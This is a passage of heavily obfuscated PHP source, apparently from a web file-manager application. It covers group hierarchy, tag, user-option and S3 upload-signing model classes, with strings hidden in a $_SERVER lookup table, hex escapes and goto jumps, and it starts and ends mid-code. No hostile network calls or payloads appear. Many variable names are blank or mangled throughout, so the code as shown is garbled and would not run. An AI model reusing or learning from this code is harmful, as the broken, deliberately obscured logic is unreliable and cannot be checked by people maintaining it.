(isset($Ӌ[$ɢ[1951]])) { $this->metaSet($؇, array($ɢ[1951] => $Ӌ[$ɢ[1951]], $ɢ[1952] => $Ӌ[$ɢ[1952]])); unset($Ӌ[$ɢ[1951]]); unset($Ӌ[$ɢ[1952]]); } Model($ɢ[1350])->groupRootAdd($؇); return $؇; } protected function groupEdit($, $͆) { $ =& $_SERVER[ö]; $ = $this->getInfoSimple($); if (!$) { return !1; } if (!empty($͆[$[432]])) { $̽ȗ = $this->getInfoSimple($͆[$[432]]); if (!$̽ȗ) { return !1; } if ($[$[1865]] == $̽ȗ[$[1865]]) { return !1; } if ($͆[$[432]] != $[$[432]]) { if ($̽ȗ[$[521]] !== $[$[521]] && strpos($̽ȗ[$[521]], $[$[521]] . $[$[1865]] . $[50]) === 0) { return !1; } $͆[$[590]] = $̽ȗ[$[521]] . $͆[$[432]] . $[50]; $this->_changeChildLevel($, $̽ȗ); } } if (isset($͆[$[32]])) { $this->setNamePinyin($, $͆[$[32]]); } if (isset($͆[$[1951]])) { $this->metaSet($, array($[1951] => $͆[$[1951]], $[1952] => $͆[$[1952]])); unset($͆[$[1951]]); unset($͆[$[1952]]); } $this->_clearChildrenCache($); return $this->where(array($[1953] => $))->save($͆); } private function _clearChildrenCache($) { $ޟ =& $_SERVER[ö]; $颲 = array($ޟ[590] => array($ޟ[550], $[$ޟ[521]] . $[$ޟ[1865]] . $ޟ[551])); $ = $this->field($ޟ[1865])->where($颲)->select(); foreach ($ as $鼔) { $this->_clearCache($鼔[$ޟ[1865]]); } } private function _clearCache($Ǎθ) { $î =& $_SERVER[ö]; $this->cacheFunctionClear($î[1947], $Ǎθ); $this->cacheFunctionClear($î[1948], $Ǎθ); } private function _changeChildLevel($, $, $ඪ = false) { $Ʃ =& $_SERVER[ö]; $Ѓܪ = $[$Ʃ[521]] . $[$Ʃ[1865]] . $Ʃ[50]; $ = $[$Ʃ[521]] . $[$Ʃ[1865]] . $Ʃ[50] . $[$Ʃ[1865]] . $Ʃ[50]; if ($ඪ) { $ = $[$Ʃ[521]] . $[$Ʃ[1865]] . $Ʃ[50]; } $ʧ = array($Ʃ[590] => array($Ʃ[550], $[$Ʃ[521]] . $[$Ʃ[1865]] . $Ʃ[551])); $ю = array($Ʃ[590] => array($Ʃ[599], "\x72\145\160\x6c\x61\x63\145\50\x70\x61\162\x65\156\x74\x4c\x65\166\x65\x6c\x2c\x27{$Ѓܪ}\47\54\47{$}\47\x29")); $this->_clearChildrenCache($); $this->where($ʧ)->data($ю)->save(); } public function setNamePinyin($, $ = false) { $Ι =& $_SERVER[ö]; if (!$) { $ڨ = $this->getInfoSimple($); $ = $ڨ[$Ι[32]]; } if (!Input::check($, $Ι[593])) { $this->metaSet($, $Ι[465], null); $this->metaSet($, $Ι[464], null); return; } $ = array($Ι[465] => str_replace($Ι[53], $Ι[12], Pinyin::get($)), $Ι[464] => Pinyin::get($, $Ι[594])); $this->metaSet($, $); } protected function groupStatus($, $џמ) { $ =& $_SERVER[ö]; $ȷ = $this->getInfoSimple($); if (!$ȷ) { return !1; } if ($џמ == $[88]) { $ӟ = $this->parentLevelArray($ȷ[$[521]]); } else { $żІ = array($[590] => array($[550], $ȷ[$[521]] . $ȷ[$[1865]] . $[551])); $ӟ = $this->where($żІ)->field($[1865])->select(); $ӟ = array_to_keyvalue($ӟ, $[12], $[1865]); } $ӟ[] = $ȷ[$[1865]]; $ = array(); foreach ($ӟ as $) { $[] = array($[1865] => $, $[94] => $[756], $[374] => $џמ); $this->_clearCache($); } return Model($[1954])->addAll($, array(), !0); } protected function groupRemove($, $ = false) { $ =& $_SERVER[ö]; $ = array($[1865] => $); $ = $this->where($)->find(); if (!$ || $[$[432]] == 0) { return !1; } if (!$) { $ز = $this->getInfoSimple($[$[432]]); $this->_changeChildLevel($, $ز, !0); $this->where(array($[432] => $))->save(array($[432] => $[$[432]])); } Model($[1954])->where($)->delete(); Model($[1955])->where($)->delete(); Model($[831])->groupRootRemove($); return $this->where($)->delete(); } protected function groupSort($) { $э̽ =& $_SERVER[ö]; $稶 = array(); foreach ($ as $ => $Բ) { $稶[] = array($э̽[1865], $Բ, $э̽[1889], $ + 1); } $this->saveAll($稶); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[ö][369]]); return $; } private function _makeOrder($ = '') { $ =& $_SERVER[ö]; $× = array($[1865], $[32], $[1854], $[200]); $ɔ = array($[450] => $[451], $[452] => $[453]); $ғ = Input::get($[457], $[7], $[1869], $×); $ƈ = Input::get($[458], $[7], $[1956], array($[1956], $[452])); $ƈ = $ɔ[$ƈ]; $ = $ . "{$ғ}\x20{$ƈ}\x2c\x20\x67\x72\157\x75\x70\111\104\40\x61\163\x63"; return $this->order($); } public function listChild($) { $ȭ =& $_SERVER[ö]; $ = $this->where(array($ȭ[432] => $))->_makeOrder()->selectPage(200); $this->_listDataApply($[$ȭ[369]]); return $; } public function listChildIds($ԃ) { $ =& $_SERVER[ö]; if (is_string($)) { $ԃ = explode($[50], $ԃ); } $ۡ = $this->where(array($[1865] => array($[7], $ԃ)))->field($[1957])->select(); if (!$ۡ) { return !1; } $Ԋ = array(); foreach ($ۡ as $Ŀ) { $Ԋ[] = "\x73\x65\x6c\x65\x63\x74\40\147\x72\x6f\x75\x70\111\x44\x20\x66\x72\x6f\x6d\x20\140\x67\162\157\x75\160\140\40\167\x68\145\x72\x65\40\160\x61\162\x65\156\x74\114\x65\166\x65\x6c\40\x6c\x69\153\x65\x20\x27{$Ŀ[$[521]]}{$Ŀ[$[1865]]}\54\45\47"; } $Ԋ = implode($[1958], $Ԋ); $ۡ = $this->query($Ԋ); if (!$ۡ) { return array(); } $ԃ = array_to_keyvalue($ۡ, $[12], $[1865]); return array_unique($ԃ); } public function listByID($磺) { $ğ =& $_SERVER[ö]; if (!$磺) { return array(); } $ = array($ğ[1865] => array($ğ[7], $磺)); $ = $this->where($)->select(); $ = array_sort_keep($, $ğ[1865], $磺); $this->_listDataApply($); return $; } public function listSearch($) { $ =& $_SERVER[ö]; $՟ = $[$[1959]]; $¾ = isset($[$[1960]]) ? $[$[1960]] : !1; if (!trim($՟)) { return !1; } $՟ = str_replace($[1961], $[1962], $՟); $ػ = array($[1865] => array($[383], "{$՟}\45"), $[32] => array($[383], "\x25{$՟}\45"), $[1014] => $[1963]); if ($¾) { $Ԥ = $this->getInfoSimple($¾); $ = $Ԥ[$[521]] . $¾ . $[551]; $ػ = array($ػ, array($[521] => array($[383], $))); } $ػ = $this->parseWhereLike($ػ); $έ = $this->_makeOrder()->where($ػ)->selectPage(20); $έ = $έ ? $έ : array($[369] => array(), $[366] => array()); if (!$έ || count($έ[$[369]]) < 5 && Input::check($՟, $[318])) { $곮 = $this->groupChildrenAll($¾); $ = $this->_searchFromMeta($[464], $՟, 10, $곮); $ = $this->_searchFromMeta($[465], $՟, 10, $곮); $ = array_merge($, $, $έ[$[369]]); $έ[$[369]] = array_unique_by_key($, $[1865]); $έ[$[366]][$[367]] = count($έ[$[369]]); $έ[$[366]][$[368]] = ceil($έ[$[366]][$[367]] / $έ[$[366]][$[363]]); } $this->_listDataApply($έ[$[369]]); return $έ; } protected function groupChildrenAll($ȧ) { $Å =& $_SERVER[ö]; if (!$ȧ) { return !1; } if (is_string($ȧ)) { $ȧ = array($ȧ); } $ = $ȧ; foreach ($ȧ as $ª) { $ϣ殮 = $this->getInfoSimple($ª); $җ = array($Å[521] => array($Å[383], $ϣ殮[$Å[521]] . $ª . $Å[551])); $ = $this->field($Å[1865])->where($җ)->select(); $ = array_merge($, array_to_keyvalue($, $Å[12], $Å[1865])); } return array_unique($); } private function _searchFromMeta($կޥ, $ٷݜ, $Ē, $ҙ) { $ =& $_SERVER[ö]; $ٷݜ = strtolower($ٷݜ); $ƍ = array($[94] => $կޥ, $[374] => array($[383], "\x25{$ٷݜ}\x25")); $ƍ = $this->parseWhereLike($ƍ); if ($ҙ) { $ƍ[$[1865]] = array($[7], $ҙ); } $ = Model($[1964])->where($ƍ)->limit($Ē)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $[12], $[1865]); $Ŝ = $this->where(array($[1953] => array($[7], $)))->select(); if (!$Ŝ) { return array(); } return $Ŝ; } protected function _listDataApplyItem($н) { $ű = array($н); $this->_listDataApply($ű); return $ű[0]; } protected function _listDataApply(&$) { $т =& $_SERVER[ö]; if (!$) { return; } $ヌ = array_to_keyvalue($, $т[12], $т[1865]); $this->_listAppendChildren($); $this->_listAppendChildrenMember($); $this->_listAppendMeta($, $ヌ); $this->_listAppendParent($); $this->_listAppendSourceRoot($, $ヌ); } private function _listAppendChildren(&$Ӧ) { $А =& $_SERVER[ö]; $띧 = array_to_keyvalue($Ӧ, $А[12], $А[1865]); $· = array($А[432] => array($А[7], $띧)); $Ʒ = array($А[432], $А[1965] => $А[500]); $ڪӭ = $this->field($Ʒ)->where($·)->group($А[432])->select(); $떲 = array_to_keyvalue($ڪӭ, $А[432], $А[500]); foreach ($Ӧ as &$) { $Ժ = $[$А[1865]]; $[$А[1966]] = isset($떲[$Ժ]) ? intval($떲[$Ժ]) : !1; } unset($); } private function _listAppendChildrenMember(&$) { $ =& $_SERVER[ö]; $ = array_to_keyvalue($, $[12], $[1865]); $ְ = array($[1865] => array($[7], $)); $ = array($[1865], $[1965] => $[500]); $ӫ = Model($[1955])->field($)->where($ְ)->group($[1865])->select(); $ = array_to_keyvalue($ӫ, $[1865], $[500]); foreach ($ as &$Ą) { $ۍ = $Ą[$[1865]]; $Ą[$[1967]] = isset($[$ۍ]) ? intval($[$ۍ]) : !1; } unset($Ą); } private function _listAppendMeta(&$ח, $) { $¢ =& $_SERVER[ö]; $ = array($¢[1865] => array($¢[7], $)); $ = Model($¢[1954])->where($)->select(); $ = array_to_keyvalue_group($, $¢[1865]); foreach ($ as &$ѣÿ) { $ѣÿ = array_to_keyvalue($ѣÿ, $¢[94], $¢[374]); } unset($ѣÿ); foreach ($ח as &$) { $[$¢[466]] = array(); if (isset($[$[$¢[1865]]])) { $[$¢[466]] = $[$[$¢[1865]]]; } } unset($); } protected function parentLevelArray($ɪ) { $ =& $_SERVER[ö]; $ɪ = explode($[50], trim($ɪ, $[50])); $ɪ = array_remove_value($ɪ, $[197]); return $ɪ; } protected function parentInGroup($שׁ, $°¹) { $ӌθ =& $_SERVER[ö]; $拓ӟ = $this->getInfoSimple($שׁ); if (!$拓ӟ) { return !0; } $𢋭 = $this->parentLevelArray($拓ӟ[$ӌθ[521]]); $𢋭[] = $שׁ; foreach ($𢋭 as $שׁ) { if (in_array($שׁ . $ӌθ[12], $°¹)) { return !0; } } return !1; } private function _listAppendParent(&$) { $ã =& $_SERVER[ö]; $ = array(); foreach ($ as &$) { $[$[$ã[1865]]] = $[$ã[32]]; $ = $this->parentLevelArray($[$ã[521]]); foreach ($ as $) { if (!isset($[$])) { $[$] = 0; } } } unset($); foreach ($ as $ => $ÊӒ) { if ($ÊӒ) { continue; } $旚 = $this->getInfoSimple($); $[$] = $旚[$ã[32]]; } $̫ = $GLOBALS[$ã[6]][$ã[89]][$ã[1968]]; if ($GLOBALS[$ã[503]] == $ã[88]) { $̫ = !1; } foreach ($ as &$) { $ = $this->parentLevelArray($[$ã[521]]); $ۿ = $ã[12]; foreach ($ as $ => $) { if ($̫ && $ == 0) { continue; } $ۿ .= $[$] . $ã[8]; } if ($) { $ۿ .= $[$ã[32]]; } $[$ã[526]] = str_replace($ã[529], $ã[8], $ۿ); } unset($); } private function _listAppendSourceRoot(&$, $Ʂ) { $ =& $_SERVER[ö]; $Ȩ = Model($[831])->listSourceRoot(SourceModel::TYPE_GROUP, $Ʂ); $Ȩ = array_to_keyvalue($Ȩ, $[505]); $Ȩ = array_remove_key($Ȩ, $[505]); foreach ($ as &$) { $[$[86]] = $Ȩ[$[$[1865]]] ? $Ȩ[$[$[1865]]] : array(); } unset($); } protected function groupMerge($ً) { $ً = array_values(array_unique($ً)); $Հ = array(); for ($ = 0; $ < count($ً); $++) { $蕪ؒ = !1; for ($ڋ = 0; $ڋ < count($ً); $ڋ++) { if ($ == $ڋ) { continue; } if ($this->isParentOf($ً[$ڋ], $ً[$])) { $蕪ؒ = !0; break; } } if (!$蕪ؒ) { $Հ[] = $ً[$]; } } return $Հ; } protected function isParentOf($, $å) { $ =& $_SERVER[ö]; if (!$ || !$å || $ == $å) { return !1; } $ = $this->getInfoSimple($); $衳 = $this->getInfoSimple($å); $Ϲθ = $[$[521]] . $ . $[50]; if (substr($衳[$[521]], 0, strlen($Ϲθ)) == $Ϲθ) { return !0; } return !1; } public function groupShowRoot($ؾ, $ = false) { $쳙 =& $_SERVER[ö]; $м = $this->getInfo($ؾ); if (!$м) { return array(); } $Ώ = $this->parentLevelArray($м[$쳙[521]]); $ٶ = array($ؾ); if (count($Ώ) == 0) { return $ٶ; } if ($ && count($Ώ) == 1) { return $ٶ; } if (!$м[$쳙[466]] || !isset($м[$쳙[466]][$쳙[1951]]) || $м[$쳙[466]][$쳙[1951]] == $쳙[1920]) { return $this->groupShowRoot($Ώ[count($Ώ) - 1], $); } if ($м[$쳙[466]][$쳙[1951]] == $쳙[357]) { $ = explode($쳙[50], $м[$쳙[466]][$쳙[1952]]); if ($) { $ٶ = array_merge($ٶ, $); } } return $ٶ; } protected function resetParentLevel() { $ =& $_SERVER[ö]; $ = $[1865]; $ = $this->select(); $ = array_to_keyvalue($, $); foreach ($ as $) { $ա = $; $汖̞ = array(); while ($ա[$[432]] != 0) { $汖̞[] = $ա[$[432]]; $ա = $[$ա[$[432]]]; } $汖̞[] = 0; $汖̞ = $[50] . implode($[50], array_reverse($汖̞)) . $[50]; $this->setNamePinyin($[$], $[$[32]]); $this->where(array($ => $[$]))->save(array($[590] => $汖̞)); } return $; } public function groupNameAuto($ı, $) { $ =& $_SERVER[ö]; $Ք = $this->where(array($[401] => $ı))->getField($[32], !0); if (!$Ք || !in_array($, $Ք)) { return $; } for ($ێ = 1; $ێ <= count($Ք) + 1; $ێ++) { $ = $ . "\x28{$ێ}\x29"; if (!in_array($, $Ք)) { return $; } } } public function groupSwitch($բ, $ǀ) { $һ =& $_SERVER[ö]; $ = array($һ[1865] => array($һ[7], array($բ, $ǀ))); $Љ = $this->where($)->select(); $Љ = array_to_keyvalue($Љ, $һ[1865]); if (!isset($Љ[$բ]) || !isset($Љ[$ǀ]) || $Љ[$բ][$һ[432]] == 0) { return !1; } $ = array($һ[1865] => $բ); $ = Model($һ[1955])->where($)->select(); if (!$) { $ = array(); } foreach ($ as $Ǝ䒪) { $ = $Ǝ䒪[$һ[1676]]; $ = array($һ[1676] => $, $һ[1865] => $ǀ); $ǻ = Model($һ[1955])->where($)->find(); if (!$ǻ) { $ = array($ǀ => $Ǝ䒪[$һ[1969]]); Model($һ[535])->userGroupAdd($, $); } Model($һ[535])->userGroupRemove($, $բ); } $ = array($һ[411] => 2, $һ[432] => 0, $һ[410] => 1, $һ[505] => array($һ[7], array($բ, $ǀ))); $⻒ = Model($һ[831])->where($)->field($һ[1970])->select(); $⻒ = array_to_keyvalue($⻒, $һ[505], $һ[402]); $ = !empty($⻒[$բ]) ? $⻒[$բ] : !1; if ($) { if (!$⻒[$ǀ]) { $⻒[$ǀ] = Model($һ[831])->groupRootAdd($ǀ); } $ٍ = $⻒[$ǀ]; $ = array($һ[432] => $); $⻒ = Model($һ[831])->where($)->field($һ[1971])->select(); if (!$⻒) { $⻒ = array(); } Model($һ[831])->moveClearAuth = !1; foreach ($⻒ as $) { $ = $[$һ[410]] == $һ[88] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($һ[831])->move($[$һ[402]], $ٍ, $); } Model($һ[831])->moveClearAuth = !0; $ = array($һ[411] => 2, $һ[505] => $բ); $ೖ = array($һ[505] => $ǀ); Model($һ[1972])->where($)->save($ೖ); Model($һ[1973])->where($)->save($ೖ); } $this->_changeChildLevel($Љ[$բ], $Љ[$ǀ], !0); $this->where(array($һ[432] => $բ))->save(array($һ[432] => $ǀ)); $this->_clearChildrenCache($Љ[$ǀ]); return !0; } } class GroupTagModel extends ModelBase { protected $tableName = "\165\x73\x65\x72\137\x66\141\x76"; protected function cacheFunctionAlias($) { $ =& $_SERVER[ö]; return array($[1974] => array($[0], $[1975]), $[1976] => array($[0], $[1977])); } protected function get($) { $ =& $_SERVER[ö]; $ = Model($[522])->metaGet($, $[1978]); $ǿ = json_decode($, !0); return $ǿ ? $ǿ : array($[1979] => $[88], $[369] => array()); } protected function set($ĉ, $Ε) { $ =& $_SERVER[ö]; $Ε = $Ε ? $Ε : array($[1979] => $[88], $[369] => array()); return Model($[522])->metaSet($ĉ, $[1978], json_encode($Ε)); } protected function getByTagID($ĵ, $) { $ =& $_SERVER[ö]; if (!$ĵ || !$) { return !1; } if (!Model($[522])->getInfoSimple($ĵ)) { return !1; } $ = $this->get($ĵ); if (!$ || !isset($[$[369]])) { return !1; } $ = array_find_by_field($[$[369]], $[399], $); return is_array($) ? $ : !1; } public function listSource($, $ˡ) { $DŽ =& $_SERVER[ö]; if ($ˡ && !is_array($ˡ)) { $ˡ = array($ˡ); } $ = $this->listData($); $ѽ = array(); foreach ($ as $偭) { $Ɛ = $偭[$DŽ[84]]; if (!$Ɛ) { continue; } if (!isset($ѽ[$Ɛ])) { $ѽ[$Ɛ] = array(); } $ѽ[$Ɛ][] = $偭[$DŽ[426]]; } $ހ = array(); foreach ($ѽ as $ => $Ȁ) { $ = !0; if (!$ˡ) { $ހ[] = $; continue; } foreach ($ˡ as $ꗂ) { if (!in_array($ꗂ, $Ȁ)) { $ = !1; break; } } if ($) { $ހ[] = $; } } if (!$ހ) { return array(); } $ = array($DŽ[417] => array($DŽ[418], $ހ), $DŽ[505] => $, $DŽ[411] => SourceModel::TYPE_GROUP); $謍 = Model($DŽ[1350])->listSource($); if (!$謍 || count($ހ) == $謍[$DŽ[366]][$DŽ[367]]) { return $謍; } $䊢 = array(); $ = array_to_keyvalue($謍[$DŽ[82]], $DŽ[12], $DŽ[402]); $䥉 = array_to_keyvalue($謍[$DŽ[83]], $DŽ[12], $DŽ[402]); $͖ = array_merge($䥉, $); foreach ($ހ as $Ɛ) { if (!in_array($Ɛ, $͖)) { $䊢[] = $Ɛ; } } if ($䊢) { $this->removeBySource($, $䊢); } return $謍; } protected function listData($) { $Ԡ =& $_SERVER[ö]; $ = array($Ԡ[1667] => 0, $Ԡ[484] => array($Ԡ[1980], 0), $Ԡ[422] => $Ԡ[1981] . $); $߇ = $Ԡ[1982]; $尃 = $this->field($߇)->where($)->order($Ԡ[1983])->select(); return $尃 ? $尃 : array(); } protected function addToTag($, $ӛ, $) { $ =& $_SERVER[ö]; if (!$this->getByTagID($, $) || !$ӛ) { return !1; } if (!Model($[831])->pathInfo($ӛ)) { return !1; } $Л۳ = array($[1667] => 0, $[484] => $, $[421] => $ӛ, $[422] => $[1984] . $, $[420] => $[12], $[1869] => 0); if ($this->where($Л۳)->find()) { return !1; } return $this->add($Л۳); } protected function removeFromTag($, $, $鑧) { $̴ =& $_SERVER[ö]; if (!$this->getByTagID($, $鑧) || !$) { return !1; } if (is_array($)) { $ = array($̴[7], $); } $Ӫ = array($̴[1667] => 0, $̴[484] => $鑧, $̴[422] => $̴[1984] . $, $̴[421] => $); return $this->where($Ӫ)->delete(); } protected function removeByTag($, $ꝲ) { $ =& $_SERVER[ö]; if (!$this->getByTagID($, $ꝲ)) { return !1; } $롛 = array($[1667] => 0, $[484] => $ꝲ, $[422] => $[1984] . $); return $this->where($롛)->delete(); } protected function removeBySource($, $) { $֡ =& $_SERVER[ö]; if (!$ || !$) { return !1; } if (is_array($)) { $ = array($֡[7], $); } $Ѥ = array($֡[1667] => 0, $֡[421] => $, $֡[484] => array($֡[1028], 0), $֡[422] => $֡[1984] . $); return $this->where($Ѥ)->delete(); } } goto A٪; DǍ: class UserOptionModel extends ModelBaseOption { protected $tableName = "\165\x73\x65\162\137\157\160\x74\151\157\156"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($߾) { $ =& $_SERVER[ö]; if (!defined($[475])) { define($[475], 0); } return "\125\x73\145\162\117\160\164\x69\157\x6e\x5f{$߾}\x5f" . USER_ID; } protected function filterWhere($ک) { $Қ =& $_SERVER[ö]; if (!defined($Қ[475])) { define($Қ[475], 0); } $ک[$Қ[1676]] = USER_ID; return $ک; } public function cacheRemoveUser($ӑ, $ޙ) { return Cache::remove("\125\163\x65\x72\x4f\160\x74\151\x6f\x6e\137{$ӑ}\137" . $ޙ); } protected function optionDefault($ = '') { $Ğ =& $_SERVER[ö]; if ($ == $Ğ[12]) { return $GLOBALS[$Ğ[6]][$Ğ[2352]]; } if ($ == $Ğ[2353]) { return $GLOBALS[$Ğ[6]][$Ğ[2354]]; } } } class UserTagModel extends ModelBaseLight { public $optionType = "\125\x73\145\162\x2e\164\x61\x67\114\151\163\x74"; public $modelType = "\125\x73\x65\162\x4f\x70\164\151\x6f\x6e"; public $field = array("\x6e\x61\x6d\x65", "\x73\x74\x79\x6c\x65", "\163\157\x72\164"); public function listData($۞쨻 = false, $Ұ = "\163\157\162\164", $Л = false) { return parent::listData($۞쨻, $Ұ, $Л); } public function remove($ߴ) { return parent::remove($ߴ); } public function add($߱, $ۇ = "\x6c\x61\x62\145\x6c\55\147\x72\145\x79\x2d\x6e\157\162\x6d\141\154") { $ =& $_SERVER[ö]; if ($this->findByName($߱)) { return !1; } $ = array($[420] => $߱, $[485] => $ۇ, $[1869] => $this->getSort($[258]) + 1); return parent::insert($); } public function update($Ŝ, $Â) { $Ș跙 =& $_SERVER[ö]; $ = $this->listData($Ŝ); $ٿ = $this->findByName($Â[$Ș跙[32]]); if (!$ || $ٿ && $ٿ[$Ș跙[399]] != $[$Ș跙[399]]) { return !1; } return parent::update($Ŝ, $Â); } public function moveTop($) { $ɷ =& $_SERVER[ö]; $ = parent::listData(); $ = $this->getSort($ɷ[257]); foreach ($ as &$) { if ($[$ɷ[399]] == $) { $[$ɷ[1889]] = $; continue; } $[$ɷ[1889]] += 1; } unset($); return parent::resetData($); } public function moveBottom($괝ׁ) { $Ǭ =& $_SERVER[ö]; $ = $this->getSort($Ǭ[258]) + 1; return parent::update($괝ׁ, array($Ǭ[1889] => $)); } public function resetSort($) { $ =& $_SERVER[ö]; $Њ = array(); $ = is_array($) ? $ : array(); for ($ = 0; $ < count($); $++) { $Њ[$[$] . $[12]] = $ + 1; } $Ϥ = parent::listData(); foreach ($Ϥ as &$ؐɸ) { $ҳ = $Њ[$ؐɸ[$[399]]]; $ؐɸ[$[1889]] = $ҳ ? $ҳ : $ؐɸ[$[1889]]; } unset($ؐɸ); return parent::resetData($Ϥ); } private function getSort($̊) { $ =& $_SERVER[ö]; $ = parent::listData(); $ȡ¿ = array_to_keyvalue($, $[12], $[1889]); if (!$ȡ¿) { $ȡ¿ = array(0); } $Ԅ = $̊ == $[258] ? max($ȡ¿) : min($ȡ¿); return intval($Ԅ); } } goto f声; C: function binCheckBigger($, $Ă) { return $ > $Ă; } $_SERVER[$_SERVER[ۮݐ][3]] = (_kodDe('KCguKiY=')."\x39\x39")+0;$_gda0="sjhrm6w5gk9ip38nqztco7e14bxl2fdyu0vap9ka60x2bg7yeowizfmdsjur4tqhl35v1cn81u76";; class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($ؒ, $) { $̌ =& $_SERVER[ö]; if (isset(self::$_methodList[$ؒ])) { return @call_user_func_array(self::$_methodList[$ؒ], $); } else { if (method_exists($this, $ؒ)) { return call_user_func_array(array($this, $ؒ), $); } else { think_exception(__CLASS__ . $̌[4] . $ؒ . $̌[5]); } } } public static function __callStatic($ʍlj, $) { if (isset(self::$_methodListStatic[$ʍlj])) { return call_user_func_array(self::$_methodListStatic[$ʍlj], $); } else { if (method_exists(self, $ʍlj)) { return call_user_func_array(array(self, $ʍlj), $); } else { show_json("{$ʍlj}\x28\x29\40\156\157\x74\x20\x65\170\151\163\x74\x3b", !1); } } } public static function addMethod($, $ܒ) { self::$_methodList[$] = $ܒ; } public static function addMethodStatic($â, $) { self::$_methodListStatic[$â] = $; } } goto F; Bփ: class PathDriverS3 extends PathDriverBaseS3 { public function __construct($ç) { parent::__construct($ç); } public function uploadFormData($ψ, $ = 3600) { $࢝ =& $_SERVER[ö]; $̽Ԥ = $࢝[198]; $Սщ = $࢝[1369]; $ = $࢝[62]; $靚Ǩ = gmdate($࢝[1370]); $ֽ = gmdate($࢝[757]); $߿ = $࢝[1371]; $Ÿ = $ . $࢝[12]; $ˈ = $࢝[1333]; $ͬ = array($this->accessKey, $ֽ, $this->region, $, $߿); $ = implode($࢝[8], $ͬ); $ = array($࢝[1335] => gmdate($࢝[1334], strtotime($࢝[1372])), $࢝[1336] => array(array($࢝[1338] => $this->bucket), array($࢝[1337] => $̽Ԥ), array($࢝[1339], $࢝[1340], $࢝[12]), array($࢝[1339], $࢝[1373], $࢝[12]), array($࢝[1339], $࢝[1374], $࢝[12]), array($࢝[1341] => $ˈ), array($࢝[1375] => $), array($࢝[1376] => $Սщ), array($࢝[1377] => $靚Ǩ), array($࢝[1378] => $Ÿ))); $ܷѺ = base64_encode(json_encode($)); $˗ = hash_hmac($࢝[1379], $ֽ, $࢝[1380] . $this->secret, !0); $ = hash_hmac($࢝[1379], $this->region, $˗, !0); $ߧ = hash_hmac($࢝[1379], $, $, !0); $Ũ = hash_hmac($࢝[1379], $߿, $ߧ, !0); $ = hash_hmac($࢝[1379], $ܷѺ, $Ũ); $ = array($࢝[215] => $࢝[12], $࢝[1381] => $࢝[12], $࢝[1337] => $̽Ԥ, $࢝[1341] => $ˈ, $࢝[1345] => $ܷѺ, $࢝[1382] => $, $࢝[1383] => $Սщ, $࢝[1384] => $靚Ǩ, $࢝[1385] => $Ÿ, $࢝[1386] => $, $࢝[181] => $this->getHost()); return $; } public function multiUploadFormData($ڲ, $ŋ = 3600) { $ =& $_SERVER[ö]; $ = gmdate($[1465]); $ = array(); $ԭ = $this->client->getUploadId($this->bucket, $ڲ, $); if (!$ԭ) { return !1; } return array($[223] => $ԭ, $[181] => $this->getHost() . $[8] . $this->pathEncode($ڲ), $[224] => $, $[94] => $ڲ); } public function multiUploadAuthData($, $ = array()) { $ =& $_SERVER[ö]; $ѥ = isset($[$[174]]) ? $[$[174]] : $[12]; $ښ = $[$[94]]; unset($[$[94]]); if (isset($[$[225]])) { return $this->listUploadParts($ښ, $); } $ = array(); if (isset($[$[1466]])) { $[$[1467]] = $[$[1466]]; } $ǚ = explode($[183], $this->getHost()); $ԙ = array($[1468] => $ǚ[1], $[1469] => $[12], $[215] => $[120], $[1381] => $[$[76]]); $մ = $[228]; $ϥ = $[8] . $this->pathEncode($ښ) . $ѥ; $꾢 = $this->client->__getSignatureV4($, $ԙ, $մ, $ϥ); if (strpos($ѥ, $[227]) === 0) { if (isset($[$[1467]])) { $ܝ = $[$[1467]]; } else { if (isset($꾢[$[1467]])) { $ܝ = $꾢[$[1467]]; } else { $ܝ = hash($[1379], $[12]); } } return array($[234] => $꾢[$[234]], $[1467] => $ܝ, $[224] => $꾢[$[1470]]); } return $꾢[$[234]]; } public function listUploadParts($, $ = array()) { $ѝ =& $_SERVER[ö]; $ڰ = str_replace($ѝ[235], $ѝ[12], $[$ѝ[174]]); $ق = $this->client->listParts($this->bucket, $, $ڰ); if (!$ق) { return !1; } $ = $ѝ[1471]; foreach ($ق as $ʾ) { $ .= $ѝ[1472] . "\x3c\x50\x61\x72\164\x4e\165\155\142\145\x72\76{$ʾ[$ѝ[1426]]}\74\57\x50\x61\x72\x74\x4e\x75\x6d\142\145\x72\76\12" . "\x3c\105\124\x61\147\x3e{$ʾ[$ѝ[1427]]}\74\57\x45\124\141\147\x3e\xa" . $ѝ[1473]; } $ .= $ѝ[1474]; $ֱ = array(); $ = explode($ѝ[183], $this->getHost()); $ = array($ѝ[1468] => $[1], $ѝ[215] => $ѝ[120], $ѝ[1381] => strlen($)); $ɪˌ = $ѝ[226]; $ = $ѝ[8] . $this->pathEncode($) . $[$ѝ[174]]; $у = $this->client->__getSignatureV4($ֱ, $, $ɪˌ, $, $); return array($ѝ[234] => $у[$ѝ[234]], $ѝ[224] => $у[$ѝ[1470]], $ѝ[236] => $ق, $ѝ[1467] => $у[$ѝ[1467]]); } public function link($놢㶓, $艸 = array()) { return parent::link($놢㶓, $艸); } public function fileOut($ٓ, $ = false, $ޑ = false, $͊ = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[ö][1475])) { return parent::fileOutServer($ٓ, $, $ޑ, $͊); } parent::fileOut($ٓ, $, $ޑ, $͊); } public function fileOutImage($, $㲄 = 250) { if (strstr($this->endpoint, $_SERVER[ö][1475])) { return parent::fileOutImageServer($, $㲄); } parent::fileOutImage($, $㲄); } public function fileOutLink($ܦԿ) { $ =& $_SERVER[ö]; if (substr($ܦԿ, 0, 7) == $[1348]) { $ܦԿ = $[1349] . substr($ܦԿ, 7); } header($[161] . $ܦԿ); die; } public function getHost() { $ =& $_SERVER[ö]; $㩸 = str_rtrim(parent::getHost(), $[8] . $this->bucket); $㩸 = explode($[183], $㩸); return $㩸[0] . $[183] . $this->bucket . $[10] . $㩸[1]; } } class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($ݢϲ, $ = 0) { parent::__construct(); $this->source = $ݢϲ; $this->sourceSize = $; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($ = false) { return $this->sourceSize; } public function getContent($ߏ = false) { return $this->fileSubstr($ߏ, 0, $this->sourceSize); } public function fileSubstr($ = false, $ڞ = 0, 